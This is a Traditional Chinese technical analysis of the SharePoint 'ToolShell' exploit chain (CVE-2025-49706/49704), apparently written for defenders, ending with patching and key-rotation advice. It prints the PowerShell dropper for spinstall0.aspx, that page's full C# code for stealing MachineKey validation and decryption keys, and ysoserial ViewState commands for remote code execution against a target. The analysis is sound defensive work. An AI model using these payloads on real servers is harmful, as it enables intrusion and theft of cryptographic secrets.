
摘要
本研究報告提供了對 SharePoint ToolShell 漏洞鏈的深入技術分析,這是一個已被實際攻擊的關鍵遠端程式碼執行(RCE)漏洞。根據近期安全揭露的資訊,本報告剖析了攻擊向量、底層漏洞(CVE-2025-49706 和 CVE-2025-49704),以及攻擊者使用的複雜 payloads。特別關注了認證繞過機制、為加密秘密竊取設計的
spinstall0.aspx
payload,以及使用
ysoserial
製作惡意
__VIEWSTATE
payloads。本報告旨在全面理解此漏洞的技術細節,強調企業環境中需要強大的安全措施和及時更新。

1. 簡介
SharePoint 是一個廣泛採用的協作平台,由於其在企業環境中的普遍使用以及儲存敏感資料的潛力,經常成為網路攻擊者的目標。近期觀察發現了一個新的、高效的遠端程式碼執行(Remote Code Execution, RCE)漏洞鏈,名為「ToolShell」,正針對本地 SharePoint 伺服器進行實際攻擊。此漏洞鏈繞過了傳統的認證機制,使攻擊者能夠獲得未經授權的控制權並竊取關鍵資訊。本報告深入探討了 ToolShell 漏洞的技術細節,檢查了實現 RCE 的方法、部署的 payloads 特性,以及對受影響系統的影響。通過剖析攻擊,本研究旨在促進對現代漏洞利用技術的更深入理解,並為更有效的防禦策略提供資訊。
2. ToolShell 漏洞鏈的技術分析
2.1. 初始入侵與認證繞過
ToolShell 漏洞鏈始於一個關鍵的認證繞過。對 IIS 日誌的分析顯示了一個異常模式:對
/_layouts/15/ToolPane.aspx
的 POST 請求帶有設置為
/_layouts/SignOut.aspx
的
Referer
標頭 [1]。這一觀察很重要,因為
ToolPane.aspx
通常需要經過認證的存取。在 ADFS 日誌中缺少對應的成功認證記錄,以及惡意 IIS 日誌條目中缺少
cs-username
值,強烈表明攻擊者未使用有效認證。這暗示了一個未經認證的攻擊向量,後來確認為零日漏洞。特定的
Referer
標頭有效地繞過了認證程序,允許未經授權存取 SharePoint 的關鍵端點。
對
ToolPane.aspx
的未經認證存取是 ToolShell 漏洞的基石,使後續攻擊階段無需任何先前使用者互動或被盜的認證即可進行。
2.2. ToolShell 漏洞鏈(CVE-2025-49706 與 CVE-2025-49704)
ToolShell 漏洞的核心在於兩個不同漏洞的組合:CVE-2025-49706 和 CVE-2025-49704 [1]。這兩個漏洞結合使用時,可實現未經認證的遠端程式碼執行(RCE)。雖然這些 CVE 的具體技術細節最初較少,但它們的結合效應允許攻擊者執行任意檔案寫入並完全控制 Web 應用程序。這些漏洞的攻擊時機與 Pwn2Own Berlin 的公開展示相吻合,表明先前理論上的概念驗證迅速被武器化。
CVE ID | 類型 | 影響 | 需要認證 |
---|---|---|---|
CVE-2025-49706 | 認證繞過 | 允許未經認證存取 ToolPane.aspx | 否 |
CVE-2025-49704 | 檔案寫入 | 允許在伺服器上任意建立檔案 | 否(結合使用時) |
2.3. ASPX Payload 分析:用於加密竊取的 SharpyShell
在成功攻擊 ToolShell 漏洞後,一個名為
spinstall0.aspx
的惡意
.aspx
檔案被部署在被入侵的 SharePoint 伺服器上 [1]。此 payload 並非典型的用於互動式命令執行的 Web shell,而是一個專注於從伺服器竊取加密秘密的隱形工具。其部署機制涉及一個 base64 編碼的 PowerShell 命令,解碼後顯示一個用於將
spinstall0.aspx
內容寫入 SharePoint 伺服器特定路徑的腳本:
- $base64String = "PCVAIEltcG9ydCB..."
- $destinationFile = "C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
- $decodedBytes = [System.Convert]::FromBase64String($base64String)
- $decodedContent = [System.Text.Encoding]::UTF8.GetString($decodedBytes)
- $decodedContent | Set-Content -Path $destinationFile -ErrorAction Stop
spinstall0.aspx
檔案本身包含 C# 程式碼,利用內部 .NET 方法存取並取得 SharePoint 伺服器的
MachineKey
設定,特別是
ValidationKey
和
DecryptionKey
[1]。這些 key 對 SharePoint 的完整性和安全性至關重要,因為它們用於簽署和加密
__VIEWSTATE
payloads 及其他關鍵功能。嵌入在
spinstall0.aspx
中的 C# 程式碼片段如下:
- <%@ Import Namespace="System.Diagnostics" %>
- <%@ Import Namespace="System.IO" %>
- <script runat="server" language="c#" CODEPAGE="65001">
- public void Page_Load()
- {
- var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
- var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
- var gac = mkt.GetMethod("GetApplicationConfig");
- var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, null);
- Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption);
- }
- </script>
__VIEWSTATE
payloads,這是實現完整 RCE 的關鍵步驟。這表明對 SharePoint 內部架構和加密機制的深入理解。
2.4. 通過
ysoserial
和
__VIEWSTATE
操控實現遠端程式碼執行
ToolShell 漏洞鏈的最終目標是遠端程式碼執行(RCE),這通過操控 SharePoint 的
__VIEWSTATE
機制實現。此攻擊向量類似於先前發現的漏洞,例如 CVE-2021-28474,其中伺服器端控制解析邏輯被濫用,將意外物件注入頁面生命週期 [1]。有了從
spinstall0.aspx
payload 獲得的
ValidationKey
,攻擊者可以製作有效且簽署的
__VIEWSTATE
payloads。
ysoserial
工具在這一過程中至關重要,允許生成反序列化 payloads,當 SharePoint 伺服器處理時,導致任意程式碼執行。以下是使用
ysoserial
生成此類 payload 的範例命令:
- # command to get the __VIEWSTATE_GENERATOR via any public available SharePoint page
- curl -s https://target/_layouts/15/start.aspx | grep -oP '__VIEWSTATEGENERATOR" value="\K[^"]+'
- # example malicious Powershell viewstate payload that the adversary can utilize
- ysoserial.exe -p ViewState -g TypeConfuseDelegate \
- -c "powershell -nop -c \"dir 'C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS'\"" \
- --generator="<viewstate_generator>" \
- --validationkey="<validation_key>" \
- --validationalg="<validation_alg>" \
- --islegacy \
- --minify
- # finally, by adding the generated token to any request, the command is executed
- curl http://target/_layouts/15/success.aspx?__VIEWSTATE=<ysoserial_generated_token></ysoserial_generated_token></validation_alg></validation_key></viewstate_generator>
這些製作的
__VIEWSTATE
payloads,當提交到有漏洞的 SharePoint 伺服器時,允許執行任意命令,有效地授予攻擊者對被入侵系統的完全控制,且無需任何認證。這突顯了 SharePoint 處理序列化資料及其與加密金鑰互動的根本設計弱點。
3. 攻擊流程分析
完整的 ToolShell 攻擊流程可總結為以下階段:
- 初始偵察: 攻擊者識別暴露在網際網路上的有漏洞 SharePoint 伺服器
-
認證繞過:
利用 CVE-2025-49706 使用特定的
/_layouts/SignOut.aspx
referer -
檔案寫入利用:
利用 CVE-2025-49704 部署
spinstall0.aspx
payload - 加密竊取: 執行 ASPX payload 以提取 MachineKey 設定
-
RCE 實現:
使用
ysoserial
製作惡意__VIEWSTATE
payloads 以執行命令 - 持久存取與橫向移動: 建立持久存取並在網路內橫向移動
4. 影響與緩解措施
ToolShell 漏洞鏈對使用本地 SharePoint 伺服器的組織構成嚴重威脅。實現未經認證的 RCE 能力使攻擊者能夠繞過邊界防禦,並深入存取敏感資料和系統。加密金鑰 的竊取進一步加劇了風險,因為它允許持久存取並可能在整個企業網路中造成更廣泛的危害。此漏洞的快速武器化和實際攻擊凸顯了應用更新程式和實施強大安全措施的迫切性。
Microsoft 已針對 CVE-2025-53770 和 CVE-2025-53771 發布了更新程式和指導方針 [1]。強烈建議組織立即應用這些更新。除了更新外,制定全面的事件回應計劃至關重要,包括進行鑑識分析以識別任何入侵跡象、輪換加密材料,以及增強監控能力以檢測可疑活動。主動掃描妥協指標(IOCs)和持續的安全評估對於減輕此類複雜漏洞鏈的風險也至關重要。
5. 結論
SharePoint ToolShell 漏洞鏈是一個重大威脅,展示了漏洞和認證繞過的結合如何導致未經認證的 RCE 和敏感資料竊取。本報告呈現的技術分析突顯了此攻擊的複雜步驟,從最初的 IIS 日誌異常到部署專用 payloads 以及使用
ysoserial
實現 RCE。了解這些技術細節對於制定有效的防禦策略和確保 SharePoint 環境的安全至關重要。持續的警覺、及時的更新和主動的安全姿態對於防禦此類高級持續威脅至關重要。